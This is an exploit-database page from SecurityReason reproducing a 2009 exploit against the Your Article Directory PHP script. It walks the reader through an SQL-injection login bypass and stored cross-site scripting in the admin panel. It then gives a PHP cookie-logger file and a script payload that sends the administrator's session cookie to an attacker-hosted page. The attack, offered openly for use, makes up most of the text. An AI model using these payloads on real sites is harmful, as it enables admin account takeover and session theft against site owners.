|
 |
| SecurityReason | ||
| WLB | ||
| Services | ||
| RSS | ||
| Corporate | ||
| Note | ||
If you have found a vulnerability, please send to our SecurityAlert Database : |
||
Home  ExploitAlert Database |
||
ExploitAlert : 6286 SecurityAlert : 5966 (Exploit Details) Milw0rm ID : 8761 Credit : Egy Date : 24.05.2009 Exploit Code : ___ ___ __ / | \_____ | | _____ ___ ___________ / ~ \__ \ | |/ /\ \/ // __ \_ __ \ \ Y // __ \| < > <\ ___/| | \/ \___|_ /(____ /__|_ \/__/\_ \\___ >__| \/ \/ \/ \/ \/ :: Egy Coders Team Researcher /- Your Article Directory => multiple vulnerabilities /- site : http://www.yourarticlesdirectory.com /- Demo : http://www.ezynearticles.com/designs/demo/yad-admin /- Greetz : all my friends /- http://hakxer.blogspot.com/ * hi every body * in this vulnerability you can get Authentication to bypass admin panel * first go to http://host/path/yad-admin/ * and in admin type * username : admin 'or' 1=1 * password : hakxer * now we in panel * you can make a cross site scripting vulnerability in panel * go to http://host/path/yad-admin/newpage.php * then in title write anything and in content write * >"<script>alert("hakxer")</script><div style="1 * and click save page and go to http://host/path/yad-admin/pages.php * and goto this http://host/path/yad-admin/newpages.php?id=[id] * xss was running successfully * if you want to get the admin cookie * you can use cookie grabber and to make it you can see this steps : * first make file ( logger.php ) and input this code in it <?php $cookie = $_GET['cookie']; $logger = fopen("logger.txt", "a"); fwrite($logger, $cookie ."\n"); fclose($logger); ?> * and upload file into any webhost * then create logger.txt and chmod it to 777 * now the time to attack * goto http://host/path/yad-admin/newpage.php * and in title write ( blah blah come admin ) :d * and in content write this js code <script>document.location ="http://host/path/logger.php?cookie=" + document.cookie;</script> * and click save page * now if admin go to our saved page the cookie will send to logger.txt ** notes : ** use it in your own risk ./be safe - Hakxer - Feedback : If you have additional information or notice any errors regarding this exploit, please use contact form or email us at exploit()securityreason()com. |
||
| Alert | ||
Allow attacker to denial of service apache 2.2.17 server |
||
| Apache |  |
|
| PHP | |
|
» libzip 0.9.3 |
||
| ADT | ||
Protect your family and valuables with Home Security Systems |
||
- 2011-05-13| Copyright © SecurityReason.com. All Rights Reserved. |